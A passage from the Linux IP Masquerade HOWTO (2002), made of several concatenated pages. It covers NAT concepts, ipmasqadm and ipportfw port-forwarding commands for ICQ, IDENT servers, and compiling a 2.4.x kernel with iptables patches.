/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2005 -R 192.168.0.10 2005
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2006 -R 192.168.0.10 2006
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2007 -R 192.168.0.10 2007
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2008 -R 192.168.0.10 2008
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2009 -R 192.168.0.10 2009
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2010 -R 192.168.0.10 2010
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2011 -R 192.168.0.10 2011
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2012 -R 192.168.0.10 2012
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2013 -R 192.168.0.10 2013
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2014 -R 192.168.0.10 2014
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2015 -R 192.168.0.10 2015
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2016 -R 192.168.0.10 2016
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2017 -R 192.168.0.10 2017
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2018 -R 192.168.0.10 2018
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2019 -R 192.168.0.10 2019
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2020 -R 192.168.0.10 2020
    Example #2
    port=2000
while [ $port -le 2020 ]
  do
    /usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 $port -R 192.168.0.10 $port
    port=$((port+1))
done

  • The following example is for a 2.0.x kernel with IPFWADM:

    I have included two examples here for the user: Either one would work fine:

    Example #1
    /usr/local/sbin/ipportfw -A -t10.1.2.3/2000 -R 192.168.0.10/2000
/usr/local/sbin/ipportfw -A -t10.1.2.3/2001 -R 192.168.0.10/2001
/usr/local/sbin/ipportfw -A -t10.1.2.3/2002 -R 192.168.0.10/2002
/usr/local/sbin/ipportfw -A -t10.1.2.3/2003 -R 192.168.0.10/2003
/usr/local/sbin/ipportfw -A -t10.1.2.3/2004 -R 192.168.0.10/2004
/usr/local/sbin/ipportfw -A -t10.1.2.3/2005 -R 192.168.0.10/2005
/usr/local/sbin/ipportfw -A -t10.1.2.3/2006 -R 192.168.0.10/2006
/usr/local/sbin/ipportfw -A -t10.1.2.3/2007 -R 192.168.0.10/2007
/usr/local/sbin/ipportfw -A -t10.1.2.3/2008 -R 192.168.0.10/2008
/usr/local/sbin/ipportfw -A -t10.1.2.3/2009 -R 192.168.0.10/2009
/usr/local/sbin/ipportfw -A -t10.1.2.3/2010 -R 192.168.0.10/2010
/usr/local/sbin/ipportfw -A -t10.1.2.3/2011 -R 192.168.0.10/2011
/usr/local/sbin/ipportfw -A -t10.1.2.3/2012 -R 192.168.0.10/2012
/usr/local/sbin/ipportfw -A -t10.1.2.3/2013 -R 192.168.0.10/2013
/usr/local/sbin/ipportfw -A -t10.1.2.3/2014 -R 192.168.0.10/2014
/usr/local/sbin/ipportfw -A -t10.1.2.3/2015 -R 192.168.0.10/2015
/usr/local/sbin/ipportfw -A -t10.1.2.3/2016 -R 192.168.0.10/2016
/usr/local/sbin/ipportfw -A -t10.1.2.3/2017 -R 192.168.0.10/2017
/usr/local/sbin/ipportfw -A -t10.1.2.3/2018 -R 192.168.0.10/2018
/usr/local/sbin/ipportfw -A -t10.1.2.3/2019 -R 192.168.0.10/2019
/usr/local/sbin/ipportfw -A -t10.1.2.3/2020 -R 192.168.0.10/2020

    Example #2
    port=2000
while [ $port -le 2020 ]
  do
    /usr/local/sbin/ipportfw -A t10.1.2.3/$port -R 192.168.0.10/$port
    port=$((port+1))
done

  • Once your new rc.firewall is ready, reload the ruleset to make sure things are OK by simply typing in "/etc/rc.d/rc.firewall". If you get any errors, you either don't have IPPORTFW support in the kernel or you made a typo in the rc.firewall file.

  • Now, in ICQ's Preferences-->Connection, configure it to be "Behind a LAN" and "Behind a firewall or Proxy". Now, click on "Firewall Settings" and configure it to be "I don't use a SOCK5 proxy". Also note that it was previously recommended to change ICQ's "Firewall session timeouts" to "30" seconds BUT many users have found that ICQ becomes unreliable. It has been found that ICQ is more reliable with its stock timeout setting (don't enable that ICQ option) and simply change MASQ's timeout to 160 seconds. You can see how to change this timeout in Section 3.4.3 and Section 3.4.2 rulesets. Finally, click on Next and configure ICQ to "Use the following TCP listen ports.." from "2000" to "2020". Now click done.

    Now ICQ will tell you that you will have to restart ICQ for the changes to take effect. To be honest, I had to REBOOT the Windows9x machine in order for things to work right but some users might say otherwise. So.. try it both ways.

  • A user once told me that by simply portforwarding port 4000 to his ICQ machine, it worked perfectly. He reported that EVERYTHING worked fine (even chat, file transfers, etc) WITHOUT re-configuring ICQ from its default settings. Your mileage might vary on this topic but I thought you might like to hear about this alternative configuration.

Prev | Home | Next
CU-SeeMe and Linux IP-Masquerade | Up | Gamers: The LooseUDP patch


( IDENT ) - IRC won't work properly for MASQed IRC users. Why?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.24. ( IDENT ) - IRC won't work properly for MASQed IRC users. Why?

The main possible reason is because most common Linux distribution's IDENT or "Identity" servers can't deal with IP Masqueraded links. No worries though, there are IDENTs out there that will work.

Installing this software is beyond the scope of this HOWTO but each tool has its own documentation. Here are some of the URLs:

  • Oident is a favorite IDENT server for MASQ users.

  • Mident is another popular IDENT server.

  • Sident

  • Other Idents

Please note that some Internet IRC servers still won't allow multiple connections from the same host even if they get Ident info and the users are different though. Complain to the remote sys admin. :-)

Prev | Home | Next
( SAMBA ) - Microsoft File and Print Sharing and Microsoft Domain clients don't work through IP Masq! To properly support Microsoft's SMB protocol, an IP Masq module would need to be written but there are three viable work-arounds. For more details, please see this Microsoft KnowledgeBase article. | Up | ( IRC DCC ) - mIRC doesn't work with DCC Sends


Incoming services

Linux IP Masquerade HOWTO
Prev Chapter 6. Other IP Masquerade Issues and Software Support Next

6.2. Incoming services

By default, Linux IP Masquerading cannot handle incoming services at all but there are a few ways that would allow this.

If you do not require high levels of security, then you can simply forward or redirect IP ports. There are various ways to perform this, though the most stable method is to use IPPORTFW. For more information, please see Section 6.7.

If you wish to have some level of authorization on incoming connections, then you will need to either configure TCP-wrappers or Xinetd to allow only specific IP addresses to pass. The TIS Firewall Toolkit is a good place to look for tools and information.

More details on incoming security can be found in the TrinityOS document and at IP Masquerade Resource.

Prev | Home | Next
Problems with IP Masquerade | Up | Supported Client Software and Other Setup Notes


Linux IP Masquerade HOWTO

David A. Ranch

dranch@trinnet.net

v2.00.041902, April 19, 2002

This document describes how to enable the Linux IP Masquerade feature on a given Linux host. IP Masquerade is a form of Network Address Translation or NAT which NAT allows internally connected computers that do not have one or more registered Internet IP addresses to communicate to the Internet via the Linux server's Internet IP address.

Table of Contents
1. Introduction
1.1. Introduction to IP Masquerading or IP MASQ
1.2. Foreword, Feedback & Credits
1.3. Copyright & Disclaimer
2. Background Knowledge
2.1. What is IP Masquerade?
2.2. Current Status
2.3. Who Can Benefit From IP Masquerade?
2.4. Who Doesn't Need IP Masquerade?
2.5. How does IP Masquerade Work?
2.6. Requirements for IP Masquerade on Linux 2.4.x
2.7. Requirements for IP Masquerade on Linux 2.2.x
2.8. Requirements for IP Masquerade on Linux 2.0.x
3. Setting Up IP Masquerade
3.1. Compiling a new kernel if needed
3.2. Checking your existing kernel for MASQ functionality
3.3. Assigning Private Network IP Addresses to the Internal LAN
3.4. Configuring IP Forwarding Policies
4. Configuring the other internal to-be MASQed machines
4.1. Configuring Microsoft Windows 95 and OSR2
4.2. Configuring Windows NT
4.3. Configuring Windows for Workgroup 3.11
4.4. Configuring UNIX Based Systems
4.5. Configuring DOS using NCSA Telnet package
4.6. Configuring MacOS Based System Running MacTCP
4.7. Configuring MacOS Based System Running Open Transport
4.8. Configuring Novell network using DNS
4.9. Configuring OS/2 Warp
4.10. Configuring OS/400 on a IBM AS/400
4.11. Configuring Other Systems
5. Testing IP Masquerade
5.1. Loading up the rc.firewall ruleset
5.2. Testing internal MASQ client PC connectivity
5.3. Testing internal MASQ client to MASQ server connectivity
5.4. Testing internal MASQ server connectivity
5.5. Testing internal MASQ server to MASQ client connectivity
5.6. Testing External Internet connectivity
5.7. Testing internal MASQ client to external MASQ server connectivity
5.8. Testing external MASQ ICMP forwarding
5.9. Testing MASQ functionality without DNS
5.10. Testing MASQ functionality with DNS resolution
5.11. Testing more MASQ functionality with DNS
5.12. Any remaining functional, performance, etc. issues...
6. Other IP Masquerade Issues and Software Support
6.1. Problems with IP Masquerade
6.2. Incoming services
6.3. Supported Client Software and Other Setup Notes
6.4. Stronger firewall rulesets to run after initial testing
6.5. IP Masquerading multiple internal networks
6.6. IP Masquerade and Dial-on-Demand Connections
6.7. IPPORTFW, IPMASQADM, IPAUTOFW, REDIR, UDPRED, and other Port Forwarding tools
6.8. CU-SeeMe and Linux IP-Masquerade
6.9. Mirabilis ICQ
6.10. Gamers: The LooseUDP patch
7. Frequently Asked Questions
7.1. ( Distro ) - What Linux Distributions support IP Masquerading?
7.2. ( Requirements ) - What are the minimum hardware requirements and any limitations for IP Masquerade? How well does it perform?
7.3. ( Errors ) - When I run the rc.firewall command, I get "command not found" errors. Why?
7.4. ( Still wont work ) - I've checked all my configurations, I still can't get IP Masquerade to work. What should I do?
7.5. ( Email list ) - How do I join or view the IP Masquerade and/or IP Masqurade Developers mailing lists and archives?
7.6. ( NAT vs. Proxy ) - How does IP Masquerade differ from Proxy or NAT services?
7.7. ( GUI ) - Are there any GUI firewall creation/management tools?
7.8. ( MASQ and Dynamic IPs ) - Does IP Masquerade work with dynamically assigned IP addresses?
7.9. ( MASQ and various networks ) - Can I use a cable modem (both bi-directional and with modem returns), DSL, satellite link, etc. to connect to the Internet and use IP Masquerade?
7.10. ( Dial on Demand ) - Can I use Diald or the Dial-on-Demand feature of PPPd with IP MASQ?
7.11. ( Apps ) - What applications are supported with IP Masquerade?
7.12. ( Distro Setup ) - How can I get IP Masquerade running on Redhat, Debian, Slackware, etc.?
7.13. ( Timeouts ) - Connections seem to break if I don't use them often. Why is that?
7.14. ( Odd Behavior ) - When my Internet connection first comes up, nothing works. If I try again, everything then works fine. Why is this?
7.15. ( MTU ) - IP MASQ seems to be working fine but some sites don't work. This usually happens with WWW and FTP.
7.16. ( FTP ) - MASQed FTP clients don't work.
7.17. ( Performance ) - IP Masquerading seems slow
7.18. ( PORTFW ) - IP Masquerading with PORTFWing seems to break when my line is idle for long periods
7.19. ( Logs ) - Now that I have IP Masquerading up, I'm getting all sorts of weird notices and errors in the SYSLOG log files. How do I read the IPFWADM/IPCHAINS firewall errors?
7.20. ( MASQ Security ) - Can I configure IP MASQ to allow Internet users to directly contact internal MASQed servers?
7.21. ( Free Ports ) - I'm getting "kernel: ip_masq_new(proto=UDP): no free ports." in my SYSLOG files. Whats up?
7.22. ( SETSOCKOPT ) - I'm getting "ipfwadm: setsockopt failed: Protocol not available" when I try to use IPPORTFW!
7.23. ( SAMBA ) - Microsoft File and Print Sharing and Microsoft Domain clients don't work through IP Masq! To properly support Microsoft's SMB protocol, an IP Masq module would need to be written but there are three viable work-arounds. For more details, please see this Microsoft KnowledgeBase article.
7.24. ( IDENT ) - IRC won't work properly for MASQed IRC users. Why?
7.25. ( IRC DCC ) - mIRC doesn't work with DCC Sends
7.26. ( IP Aliasing ) - Can IP Masquerade work with only ONE Ethernet network card?
7.27. ( Multiple-LANs ) - I have two MASQed LANs but they cannot communicate with each other!
7.28. ( SHAPING ) - I want to be able to limit the speed of specific types of traffic
7.29. ( ACCOUNTING ) - I need to do accounting on who is using the network
7.30. ( MULTIPLE IPs ) - I have several EXTERNAL IP addresses that I want to PORTFW to several internal machines. How do I do this?
7.31. ( Netstat ) - I'm trying to use the NETSTAT command to show my Masqueraded connections but its not working
7.32. ( VPNs ) - I would like to get Microsoft PPTP (GRE tunnels) and/or IPSEC (Linux SWAN) tunnels running through IP MASQ
7.33. ( Games ) - I want to get the XYZ network game to work through IP MASQ but it won't work. Help!
7.34. ( Stops working ) - IP MASQ works fine for a while but then it stops working. A reboot seems to fix this. Why?
7.35. ( SMTP Relay ) - Internal MASQed computers cannot send SMTP or POP-3 mail!
7.36. ( IPROUTE2 ) - I need different internal MASQed networks to exit on different external IP addresses
7.37. ( IPCHAINS vs. IPFWADM ) - Why do the new 2.1.x and 2.2.x kernels use IPCHAINS instead of IPFWADM?
7.38. ( Upgrades ) - I've just upgraded to the 2.2.x kernels, why isn't IP Masquerade working?
7.39. ( Upgrades cont.) - I've just upgraded to a 2.0.38+ kernels later, why isn't IP Masquerade working?
7.40. ( EQL ) - I need help with EQL connections and IP Masq
7.41. ( Wussing out ) - I can't get IP Masquerade to work! What options do I have for Windows Platforms?
7.42. ( Developers ) - I want to help with IP Masquerade development. What can I do?
7.43. ( More INFO ) - Where can I find more information on IP Masquerade?
7.44. ( Translators ) - I want to translate this HOWTO to another language, what should I do?
7.45. ( Updates ) - This HOWTO seems out of date, are you still maintaining it? Can you include more information on ...? Are there any plans for making this better?
7.46. ( Thanks ) - I got IP Masquerade working, it's great! I want to thank you guys, what can I do?
8. Miscellaneous
8.1. Useful Resources
8.2. Linux IP Masquerade Resource
8.3. Thanks to the following supporters..
8.4. Reference
8.5. Changes
Next
Introduction


( IPCHAINS vs. IPFWADM ) - Why do the new 2.1.x and 2.2.x kernels use IPCHAINS instead of IPFWADM?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.37. ( IPCHAINS vs. IPFWADM ) - Why do the new 2.1.x and 2.2.x kernels use IPCHAINS instead of IPFWADM?

IPCHAINS supports the following features that IPFWADM doesn't:

  • "Quality of Service" (QoS support)

  • A TREE style chains system vs. LINEAR system like IPFWADM (Eg. this allows something like "if it is ppp0, jump to this chain (which contains its own difference set of rules)"

  • IPCHAINS is more flexible with configuration. For example, it has the "replace" command (in addition to "insert" and "add"). You can also negate rules (e.g. "discard any outbound packets that don't come from my registered IP" so that you aren't the source of spoofed attacks).

  • IPCHAINS can filter any IP protocol explicitly, not just TCP, UDP, ICMP

Prev | Home | Next
( IPROUTE2 ) - I need different internal MASQed networks to exit on different external IP addresses | Up | ( Upgrades ) - I've just upgraded to the 2.2.x kernels, why isn't IP Masquerade working?


Background Knowledge

Linux IP Masquerade HOWTO
Prev Next

Chapter 2. Background Knowledge

Table of Contents
2.1. What is IP Masquerade?
2.2. Current Status
2.3. Who Can Benefit From IP Masquerade?
2.4. Who Doesn't Need IP Masquerade?
2.5. How does IP Masquerade Work?
2.6. Requirements for IP Masquerade on Linux 2.4.x
2.7. Requirements for IP Masquerade on Linux 2.2.x
2.8. Requirements for IP Masquerade on Linux 2.0.x
Prev | Home | Next
Copyright & Disclaimer |  | What is IP Masquerade?


What is IP Masquerade?

Linux IP Masquerade HOWTO
Prev Chapter 2. Background Knowledge Next

2.1. What is IP Masquerade?

IP Masquerade is a networking function in Linux similar to the one-to-many (1:Many) NAT (Network Address Translation) servers found in many commercial firewalls and network routers. For example, if a Linux host is connected to the Internet via PPP, Ethernet, etc., the IP Masquerade feature allows other "internal" computers connected to this Linux box (via PPP, Ethernet, etc.) to also reach the Internet as well. Linux IP Masquerading allows for this functionality even though these internal machines don't have an officially assigned IP address.

MASQ allows a set of machines to invisibly access the Internet via the MASQ gateway. To other machines on the Internet, the outgoing traffic will appear to be from the IP MASQ Linux server itself. In addition to the added functionality, IP Masquerade provides the foundation to create a HEAVILY secured networking environment. With a well built firewall, breaking the security of a well configured masquerading system and internal LAN should be considerably difficult to accomplish.

If you would like to know more on how MASQ (1:Many) differs from 1:1 (true) NAT and Proxy solutions, please see the Section 7.6 FAQ entry.

Prev | Home | Next
Background Knowledge | Up | Current Status


Current Status

Linux IP Masquerade HOWTO
Prev Chapter 2. Background Knowledge Next

2.2. Current Status

IP Masquerade has been in the Linux kernels for several years now and is quite mature as the kernel enters the 2.4.x stage. Kernels since Linux 1.3.x have had MASQ support built-in. Today, many individuals and commercial businesses are using it with excellent results.

2.4.x kernel users:

  • The 2.4.x kernel hosts an entirely re-written set of NAT code which is both far superior, faster, and more secure than any previous versions written for Linux. Unfortunately, several kernel modules that were written for the 2.2.x kernel to support things like UDP-based RealAudio, H.323 conferencing, etc. have not been ported to 2.4.x yet. Because of this, some people should consider NOT upgrading if these network applications are critical to them. As always, please see the http://ipmasq.cjb.net/: The IP Masquerade Resources site for updated news, etc.

Common network functionalities like Web browsing, telnet, ssh, ping, traceroute, etc. work well over stock IP Masquerade setups. Other network applications such as ftp, irc, and Real Audio work well with the appropriate additional IP MASQ modules loaded into the kernel as modules. Other network-specific programs like streaming audio (MP3s, True Speech, etc) should work too without any special module. Some users on the mailing list also had good results with video conferencing software.

It should be noted that running IP Masquerade with only ONE network card (NIC) to MASQ between internal and external Ethernet networks is NOT recommended. For more details, please see Section 7.26 FAQ section.

Anyways, please refer to Section 6.3 for a more complete listing of software supported by IP Maquerade all kernel versions.

IP Masquerade works well as a server to other 'client machines' running various operating systems and hardware platforms. Here is a sampling of successful reports with internal MASQed systems running :

  • UNIX: Sun Solaris, [Net,Free,Open,*i]-BSD, Hp-UX, Linux, IBM AIX, Digital UNIX, Ultrix, etc.

  • Microsoft Windows 2000, NT (3.x and 4.x), 95/98/ME, Windows for Workgroups (with the TCP/IP package)

  • IBM OS/2

  • Apple Macintosh MacOS machines running either MacTCP or Open Transport

  • DOS-based systems with packet drivers and the NCSA Telnet package

  • VAXen

  • Compaq/Digital Alpha running Linux and NT

  • Amiga computers with AmiTCP or AS225-stack.

The list goes on and on but the point is, if your OS platform talks TCP/IP, it should work with Linux's IP Masquerade!

Prev | Home | Next
What is IP Masquerade? | Up | Who Can Benefit From IP Masquerade?


Who Can Benefit From IP Masquerade?

Linux IP Masquerade HOWTO
Prev Chapter 2. Background Knowledge Next

2.3. Who Can Benefit From IP Masquerade?

  • If you have a Linux host connected to the Internet and..

  • if you have internal computers running TCP/IP connected that are connected to this Linux box via on a network, and/or

  • if your Linux host has more than one modem and acts as a PPP or SLIP server connected to other computers, and these machines do not have official or public assigned IP addresses (i.e. addressed with private TCP/IP numbers).

  • If you want those OTHER machines to communicate to the Internet without spending extra money to acquire additional Public / Official TCP/IP addresses from your ISP, then you should either configure Linux to be a router or purchase an external router.

Prev | Home | Next
Current Status | Up | Who Doesn't Need IP Masquerade?


Who Doesn't Need IP Masquerade?

Linux IP Masquerade HOWTO
Prev Chapter 2. Background Knowledge Next

2.4. Who Doesn't Need IP Masquerade?

  • If your machine is a stand-alone Linux host connected to the Internet (setting up a firewall is a good idea though), or

  • if you already have multiple assigned public addresses for your OTHER machines, and

  • if you don't like the idea of a 'free ride' using Linux and feel more comfortable using expensive commercial tools to perform the exact same functionalities.

Prev | Home | Next
Who Can Benefit From IP Masquerade? | Up | How does IP Masquerade Work?


How does IP Masquerade Work?

Linux IP Masquerade HOWTO
Prev Chapter 2. Background Knowledge Next

2.5. How does IP Masquerade Work?

Based from the original IP Masquerade FAQ by Ken Eves: Here is a drawing of the most simplistic setup:

PPP/ETH/etc.        +------------+                         +-------------+
to ISP provider     |  Linux #1  |       PPP/ETH/etc.      | Anybox      |
                    |            |                         |             |
  <---------- modem1|            |modem2 ----------- modem3|             |
                    |            |                         |             |
    111.222.121.212 |            |           192.168.0.100 |             |
                    +------------+                         +-------------+

In the above drawing, a Linux box with IP_MASQUERADING is installed as Linux #1 and is connected to the Internet via PPP, Ethernet, etc. It has an assigned public IP address of 111.222.121.212. It also has another network interface (e.g. modem2) connected to allow incoming network traffic be it from a PPP connection, Ethernet connection, etc.

The second system (which does not need to be Linux) connects into the Linux #1 box and starts its network traffic to the Internet. This second machine does NOT have a publicly assigned IP address from the Internet, so it uses an RFC1918 private address, say 192.168.0.100. (see below for more info)

With IP Masquerade and the routing configured properly, this second machine "Anybox" can interact with the Internet as if it was directly connected to the Internet with a few small exceptions [noted later].

Quoting Pauline Middelink (the founder of Linux's IPMASQ):

"Do not forget to mention that the "ANYBOX" machine should have the Linux #1 box configured as its default gateway (whether it be the default route or just a subnet is no matter). If the "ANYBOX" machine is connected via a PPP or SLIP connection, the Linux #1 machine should be configured to support proxy arp for all routed addresses. But, the setup and configuration of proxy arp is beyond the scope of this document. Please see the PPP-HOWTO for more details."

The following is an excerpt on how IPMASQ briefly works though this will be explained in more detail later. This short text is based from a previous post on comp.os.linux.networking which has been edited to match the names used in the above example:

   o I tell machine ANYBOX that my PPP or Ethernet connected Linux box is its
     gateway.

   o When a packet comes into the Linux box from ANYBOX, it will assign the
     packet to a new TCP/IP source port number and insert its own IP address
     inside the packet header, saving the originals.  The MASQ server will
     then send the modified packet over the PPP/ETH interface onto the
     Internet.

   o When a packet returns from the Internet into the Linux box, Linux
     examines if the port number is one of those ports that was assigned
     above.  If so, the MASQ server will then take the original port and
     IP address, put them back in the returned packet header, and send
     the packet to ANYBOX.

   o The host that sent the packet will never know the difference.

Another IP Masquerading Example:

A typical example is given in the diagram below:

                  Ethernet
                 192.168.0.x
    +----------+
    |          |
    | A-box    |::::::
    |          |.2   :
    +----------+     :
                     :      +----------+   PPP/ETH
    +----------+     :   .1 |  Linux   |     link
    |          |     :::::::| Masq-Gate|:::::::::::::::::::>> Internet
    | B-box    |::::::      |          |  111.222.121.212
    |          |.3   :      +----------+
    +----------+     :
                     :
    +----------+     :
    |          |     :
    | C-box    |::::::
    |          |.4
    +----------+

    |                       |          |                           >
    | <-Internal Network--> |          | <- External Network ----> >
    |   connected via an    |          |    Connected from the     >
    |   Ethernet hub or     |          |    Linux server to your   >
    |       switch          |          |    Internet connection    >

In this example, there are (4) computer systems that we are concerned about. There is also presumably something on the far right that your PPP/ETH connection to the Internet comes through (modem server, DSL DSLAM, Cablemodem router, etc.). Out on the Internet, there exists some remote host (very far off to the right of the page) that you are interested in communicating with). The Linux system named Masq-Gate is the IP Masquerading gateway for ALL internal networked machines. In this example, the machines A-box, B-box, and C-box would have to go through the Masq-Gate to reach the Internet. The internal network uses one of several RFC-1918 assigned private network addresses, where in this case, would be the Class-C network 192.168.0.0. If you aren't familiar with RFC1918, it is encouraged to read the first few chapters of the RFC but the jist of it is that the TCP/IP addresses 10.0.0.0/8, 172.16-31.0.0/12, and 192.168.0.0/16 are reserved. When we say "reserved", we mean that anyone can use these addresses as long as they aren't routed over the Internet. ISPs are even allowed to use this private addressing space as long as they keep these addresses within their own networks and NOT advertise them to other ISPs. Unfortunately, this isn't always the case but thats beyond the scope of this HOWTO.

Anyway, the Linux box in the diagram above has the TCP/IP address 192.168.0.1 while the other systems has the addresses:

  • A-Box: 192.168.0.2

  • B-Box: 192.168.0.3

  • C-Box: 192.168.0.4

The three machines, A-box, B-box and C-box, can have any one of several operating systems, just as long as they can speak TCP/IP. Some such as Windows 95, Macintosh MacTCP or OpenTransport , or even another Linux box have the ability to connect to other machines on the Internet. When running the IP Masquerade, the masquerading system or MASQ-gate converts all of these internal connections so that they appear to originate from the masq-gate itself. MASQ then arranges so that the data coming back to a masqueraded connection is relayed to the proper originating system. Therefore, the systems on the internal network are only able to see a direct route to the internet and are unaware that their data is being masqueraded. This is called a "Transparent" connection.

NOTE: Please see Chapter 7 for more details on topics such as:

  • The differences between NAT, MASQ, and Proxy servers.

  • How packet firewalls work

Prev | Home | Next
Who Doesn't Need IP Masquerade? | Up | Requirements for IP Masquerade on Linux 2.4.x


Compiling a new kernel if needed

Linux IP Masquerade HOWTO
Prev Chapter 3. Setting Up IP Masquerade Next

3.1. Compiling a new kernel if needed

If your private network contains any vital information, think carefully in terms of SECURITY before implementing IP Masquerade. By default, IP MASQ becomes a GATEWAY for you to get onto the Internet, but it also can allow someone from the Internet to possibly get into your internal network.

Once you have IP MASQ functioning, it is HIGHLY recommended for the user to implement a STRONG IPFWADM/IPCHAINS firewall ruleset. Please see Section 6.4.1, Section 6.4.2 and Section 6.4.3 located below for more details.

Prev | Home | Next
Setting Up IP Masquerade | Up | Checking your existing kernel for MASQ functionality


Checking your existing kernel for MASQ functionality

Linux IP Masquerade HOWTO
Prev Chapter 3. Setting Up IP Masquerade Next

3.2. Checking your existing kernel for MASQ functionality

Most Linux distributions are MASQ-Ready but its always good to check before you try to set things up. You will need things like:

  • IPTABLES (2.4.x) / IPCHAINS (2.2.x) / IPFWADM (2.0.x)

  • Kernel support for:

    • IP forwarding

    • IP masquerading

    • IP Firewalling

    • etc.

and have most MASQ-related modules compiled (most modular kernels will already have all you need), then you will NOT need to re-compile the kernel. If you AREN'T SURE if your Linux distribution is MASQ ready, do the following:

  • Run the command "ls /proc/sys/net/ipv4" while logged into the Linux box

    • 2.4.x kernels (look for most of the following entries out of the much longer list):

      • ip_dynaddr

        ip_forward

    • 2.2.x kernels (look for most of the following entries out of the much longer list):

      • ip_always_defrag

        ip_dynaddr

        ip_forward

        ip_masq_debug

        ip_masq_udp_dloose

        Running "ls /proc/net"

        • ip_fwchains

          ip_fwnames

          ip_masquerade

        Running "ls /proc/net/ip_masq"

        • app

          icmp

          icq

          mfw

          portfw

          tcp

          udp

    • 2.0.x kernels (look for most of the following entries out of the much longer list):

      • ip_dynaddr

        ip_forward

        running "ls /proc/net"

        • ip_forward

          ip_masq_app

          ip_masquerade

          ip_portfw

  • See if files such as "ip_forward", "ip_masq_debug", "ip_masq_udp_dloose"(optional), and "ip_always_defrag"(optional) exist.

    Does most of the entries for your major kernel version exist? If so, thats good! If you cannot find any of the above files or if you aren't sure if your distribution supports IP Masquerading by default, ASSUME IT DOESN'T. If this is the case.. you'll need to compile a kernel but don't worry.. it isn't hard.

Regardless if your current kernel has MASQ support or not, reading the remainder of this section is still highly recommended as it contains other useful information.

3.2.1. Compiling Linux 2.4.x Kernels

  • First of all, you need the kernel source for 2.4.x (preferably the latest kernel version)

    • NOTE #1: As the 2.4.x train and IPTABLES archive develoment progresses, the compile configurion options will probably keep changing. As of this version, this section reflects the settings for IPTABLES 1.2.4 and the 2.4.14 kernel. If you are compiling against a previous version, the dialogs will look different. It is recommended that you update to the newest versions for added capability, performance, and stability of the kernel.

  • Next, you really need the IPTABLES archive to apply patches against the kernel. For example, the IPTABLES patches enable the masquerading of IRC and FTP traffic as well as other network applications. You can find this archive in the 2.4.x requirements chapter which is in Section 2.6.

  • If this is your first time compiling the kernel, don't be scared. In fact, it's rather easy and it's covered in several URLs found in Section 2.6. Please note that the instructions included here is just one way to do build a kernel. Please see the Kernel HOWTO for full details.

    NOTE: Please notice that it isn't recommended to put the new kernel sources into /usr/src/linux. You should leave the original kernel sources that came with your Linux distribution in /usr/src/linux. For more details on this topic, please read the "README" file in the top level directory of your kernel sources.

  • For this HOWTO example, create a directory called /usr/src/kernel. Next, "cd" into this directory and download the newest 2.4.x kernel sources into it. Once downloaded, issue the following command (if the file ends in a .tar.gz): tar xvzf linux-2.4.x.tar.gz or (if the file ends in a .tar.bzip2): tar xyvf linux-2.4.x.tar.bz2. Please substitute the "x" in the 2.4.x filename with the Linux 2.4 kernel version you downloaded.

    NOTE: Some Linux distributions use the "I" option instead of the "y" option to decompress bzip2 archives.

    Once uncompressed, I recommend that you rename the directory from "linux" to "linux-2.4.x" for clarity. To do this, run the command mv linux linux-2.4.x. Next, make sure there is a directory or symbolic link pointing to /usr/src/kernel/linux ie. run the command: ln -s /usr/src/kernel/linux-2.4.x /usr/src/kernel/linux again subsituting the "x" for your proper kernel version.

  • Next, it is highly recommended that you apply any appropriate or optional patches to the kernel source code BEFORE you compile the kernel. As of 2.4.4, you can apply the IPTABLES patches to enable special protocol support for programs like IRC, FTP, etc. Ultimately, IP Masq does not require any specific patching in order for the system to work for NAT-friendly network applications. Please refer to Section 2.6 for URLs and the IP Masquerade Resources for up-to-date information and patch URLs.

  • Applying the IPTABLES kernel patches

    Download the iptables package from the Section 2.6 and put it into a directory, say /usr/src/archive/netfilter. Next, go into this new netfilter directory and uncompress the iptables archive with the command:

    tar xyvf iptables-1.2.x.tar.bz2

    Now, go into the new iptables-1.2.x directory and run the command

     make pending-patches KERNEL_DIR=/usr/src/kernel/linux

    NOTE: this assumes that your 2.4.x kernel sources are in the /usr/src/kernel/linux directory.

    NOTE #2: If you append a "/" to the end of the command line, you will get an error stating: "make: *** [/usr/src/kernel/linux/include/asm/socket.h] Error 1". Remove the trailing "/" and try again.

    Here is an example of the prompts you might receive for a 2.4.14 kernel. Please note that these prompts WILL CHANGE over time.

  • Making dependencies: please wait...
-----------------------------------------------------------------
Welcome to Rusty's Patch-o-matic!

Each patch is a new feature: many have minimal impact, some do not.
Almost every one has bugs, so I don't recommend applying them all!
-------------------------------------------------------
Testing... ipt_MIRROR-ttl.patch NOT APPLIED (3 rejects out of 3 hunks)
The ipt_MIRROR-ttl patch:
   Author: Harald Welte
   Status: Compiles, yet untested

   This adds TTL decrementing (and checking/dropping) in case the MIRROR
   target is used in INPUT or PREROUTING chains/hooks.  This is to avoid
   endless packet loops.

Do you want to apply this patch [N/y/t/f/q/?] y
-------------------------------------------------------
Already applied: ipt_MIRROR-ttl ipt_REJECT-checkentry

Testing... ipt_LOG.patch NOT APPLIED (1 rejects out of 1 hunks)
The ipt_LOG patch:
   Author: Jozsef Kadlecsik
   Status: Submitted for kernel inclusion

   The LOG target has a bug when attempting to print the inner ip packet in
   icmp error messages.  This patch fixes the bug.

Do you want to apply this patch [N/y/t/f/q/?] y
-------------------------------------------------------
